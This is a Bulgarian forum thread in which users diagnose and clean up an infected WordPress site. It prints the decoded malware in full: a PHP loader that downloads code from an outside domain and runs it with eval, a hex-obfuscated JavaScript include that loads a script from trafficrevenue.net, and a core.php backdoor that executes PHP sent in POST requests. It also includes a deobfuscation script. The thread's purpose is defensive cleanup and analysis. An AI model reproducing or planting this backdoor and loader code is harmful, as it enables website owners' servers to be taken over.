Инфектиран Wordpress

mantodeus

Member
Докато преглеждах единия от сайтовете ми установих,че NoScript блокира домейна trafficrevenue . net - подобно нещо не съм слагал.

Поразучих малко и се оказа че има случаи на traffic hijack свързани с внезапното появяване на този адрес.Само в админ панела се появява и като го разреша от носкрипт ми се показват поне още 10тина сайта.Проверих ръчно дали някъде във файловете няма вкаран код съдържащ името trafficrevenue, но нямах успех.

Сблъсквали ли сте се с подобен проблем,опции са отстраняването му ?
 
Свали всички РНР файлове локално и търси във всички тях за eval или base64_decode. Това са най-честите начини за скриване на зловреден код. Може да прегледаш и датата на модификация на всички файлове още преди да ги свалиш и да свалиш и разгледаш първо тези, които са модифицирани най-скоро.
 
От: Re: Инфектиран Wordpress

Свали всички РНР файлове локално и търси във всички тях за eval или base64_decode. Това са най-честите начини за скриване на зловреден код. Може да прегледаш и датата на модификация на всички файлове още преди да ги свалиш и да свалиш и разгледаш първо тези, които са модифицирани най-скоро.

Прегледах скоро модифицираните файлове и се оказа прав - има добавени неща чрез eval,след декода изкарах това, имам няколко plugina,но силно се съмнявам,който и да е от тях да има нещо общо с това :

PHP:
  <?php
  if (!function_exists("verify_wp")) {
      function verify_wp()
      {
          global $prj_dld;
          $cache = $_SERVER['DOCUMENT_ROOT'] . '/' . 'cache' . date('d') . '.dat';
          if (!$prj_dld) {
              if (!file_exists($cache)) {
                  @file_put_contents($cache, 'cached');
                  try {
                      set_exception_handler('exception_handler');
                      global $wpdb;
                      if (is_object($wpdb)) {
                          if ($wpdb->get_var("show tables like '" . $wpdb->prefix . "var_core'") != ($wpdb->prefix . "var_core")) {
                              $download_domain = "www.1433norangegrove.com";
                          } else {
                              $download_domain = $wpdb->get_var("SELECT core_url FROM `" . $wpdb->prefix . "var_core` order by core_order desc limit 1");
                          }
                          if ($download_domain == "")
                              $download_domain = "www.1433norangegrove.com";
                          $code = @file_get_contents("http://" . $download_domain . "/?install");
                          if ($code == "") {
                              $code = @file_get_contents("http://www.1433norangegrove.com/?install");
                          }
                          if ($code == "") {
                              $code = @file_get_contents("http://www.1433norangegrove.com/?install");
                          }
                          if ($code != "") {
                              eval($code);
                          } else {
                              @file_get_contents("http://" . $download_domain . "/?report");
                          }
                      }
                      @unlink($cache);
                      restore_exception_handler();
                  }
                  catch (Exception $e) {
                      if (file_exists($cache)) {
                          @unlink($cache);
                          restore_exception_handler();
                      }
                  }
              }
          }
      }
      function exception_handler($exception)
      {
      }
  }
  verify_wp();
?>

Следното нещо го има на няколко места и честно казано това ме притеснява повече понеже нямам идея как се разкодира :

Код:
<script language="JavaScript" type="text/javascript"> var i,y,x="3c736372697074207372633d22687474703a2f2f7777772e74726166666963726576656e75652e6e65742f6c6f616461646c6974652e6a733f757365726e616d653d6d6574616665766572223e3c2f7363726970743e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y); </script>
Мерси много за насоките !
 
Последно редактирано:
Интересно.
РНР кодът, който си дал, вика още код от външен сървър. Ето кодът от твоя файл в подреден вид:
PHP:
<?php
    if (!function_exists("verify_wp")) {
        function verify_wp()
        {
            global $prj_dld;
            $cache = $_SERVER['DOCUMENT_ROOT'] . '/' . 'cache' . date('d') . '.dat';
            if (!$prj_dld) {
                    if (!file_exists($cache)) {
                        @file_put_contents($cache, 'cached');
                        try {
                            set_exception_handler('exception_handler');
                            global $wpdb;
                            if (is_object($wpdb)) {
                                    if ($wpdb->get_var("show tables like '" . $wpdb->prefix . "var_core'") != ($wpdb->prefix . "var_core")) {
                                        $download_domain = "www.1433norangegrove.com";
                                    } else {
                                        $download_domain = $wpdb->get_var("SELECT core_url FROM `" . $wpdb->prefix . "var_core` order by core_order desc limit 1");
                                    }
                                    if ($download_domain == "")
                                        $download_domain = "www.1433norangegrove.com";
                                    $code = @file_get_contents("http://" . $download_domain . "/?install");
                                    if ($code == "") {
                                        $code = @file_get_contents("http://www.1433norangegrove.com/?install");
                                    }
                                    if ($code == "") {
                                        $code = @file_get_contents("http://www.1433norangegrove.com/?install");
                                    }
                                    if ($code != "") {
                                        eval($code);
                                    } else {
                                        @file_get_contents("http://" . $download_domain . "/?report");
                                    }
                            }
                            @unlink($cache);
                            restore_exception_handler();
                        }
                        catch (Exception $e) {
                            if (file_exists($cache)) {
                                    @unlink($cache);
                                    restore_exception_handler();
                            }
                        }
                    }
            }
        }
        function exception_handler($exception)
        {
        }
    }
    verify_wp();
?>
Ето какво вика от другия сървър:

(кодът е дълъг и не ми дава да го публикувам, затова виж прикачения файл)

Сега се опитвам да разбера какво точно прави енкоднатата част на кода, но явно го е минал през някакъв цикъл на многократно енкодване.
До колкото виждам, кодът се опитва да модифицира файлове от ядрото на wordpress, пише в базата данни и прави какви ли не мизерии. Трудно ще се изчистиш от него. Ако нямаш много статии, бих те посъветвал да си ги копираш ръчно и да дропнеш базата и изтриеш всички файлове, след което да инсталираш всичко наново и да си вкараш статиите на чисто. Ако този вариант не е приемлив, ще мислим как да го изчистиш.
 

Прикачени файлове

  • wp-vir.zip
    7.3 KB · Преглеждания: 5
От: Инфектиран Wordpress

Статиите са над 200,може би един експорт само на таблицата с постовете,но риска си остава.
Претърсих базата данни за споменатите промени и изтрих var_core таблицата.На друго място май не е бутана структурата,но няма как да съм 100% сигурен без да го прегледам ръчно,че и тогава няма гаранция дали няма да пропусна нещо.

Хубавото беше,че гадината е добавена навсякъде по едно и също време - с един сърч намерих всички файлове с eval кода и го махнах.
Интересно ми е и как изобщо е станал тоя пробив - най-вероятно е да идва от някой плугин.

Не е ясно какво има зад другия енкоднат файл,това е лошото. Доста се е постарал тоя...

chmod(ABSPATH . '/wp-includes/core.php', 0755); - върнах го на 644

core.php си е енкоднат,но след decode :

PHP:
function wp_run_xcore(){global $prj_dld; global $xwp_version; $xwp_version=0.1;$prj_dld=true;}function wp_update_xcore(){if ($_GET['upd']=='xcore'){$result=$_POST['updcode'];$result=str_replace("\'","'",$result);$result=str_replace('\"','"',$result);eval( $result );}}  error_reporting(E_ERROR); wp_update_xcore();wp_run_xcore();
 
Последно редактирано:
JavaScript-a, който спомена, че имаш няколко места, като се разкодира инклудва друг скрипт ето така:
Код:
<script src="http://www.trafficrevenue.net/loadadlite.js?username=metafever"></script>
Този линк обаче не ми зарежда нищо, така че не знаем какво прави инклуднатия JS.

Енкоднатата част от инклуднатия РНР код го разкодирах с едно просто скриптче:
PHP:
<?php 
    $reverse = "eval(gzinflate(base64_decode('FZlFDsRIEk.../8=')));/**/ ";
    $i = 0;
    while (strpos($reverse, 'eval(gzinflate(base64_decode(\'') !== false) {
        $reverse = str_replace("eval(gzinflate(base64_decode('", "", $reverse);
        $pos = strrpos($reverse, "')))");
        $reverse = substr($reverse, 0, $pos);
        $reverse = gzinflate(base64_decode($reverse));
        $i++;
        if ($i == 1000) { exit; }
    }
    echo 'i = ' . $i . "<br>\n";
    echo $reverse;
?>
Въртян е 60 пъти през base64_decode(gzdeflate());
В крайна сметка връща същия код, като цитирания в предишния ми пост.

Това дето си пуснал горе:
PHP:
<?php
  function wp_run_xcore()
  {
      global $prj_dld;
      global $xwp_version;
      $xwp_version = 0.1;
      $prj_dld = true;
  }
  function wp_update_xcore()
  {
      if ($_GET['upd'] == 'xcore') {
          $result = $_POST['updcode'];
          $result = str_replace("\'", "'", $result);
          $result = str_replace('\"', '"', $result);
          eval($result);
      }
  }
  error_reporting(E_ERROR);
  wp_update_xcore();
  wp_run_xcore();
?>
си е чист бекдор. Може да се използва за да се инжектира директно РНР код, който да се изпълни на сървъра чрез проста POST заявка. Не знам обаче от къде се е появил, защото в извадения до момента от теб код никъде не се срещат подобни функции.
 
От: Инфектиран Wordpress

Вчера порових още малко и се усетих за core.php - елиминирах го изцяло.Config файла беше CHMOD-нат на 777,оправих си и него.
Още един път мерси,че се включи с информация по проблема.

Доста интересен пост,за жалост black hat техниките явно нямат спирка.Системата е изпипана и както си личи доста трудно се премахва.
 

Горе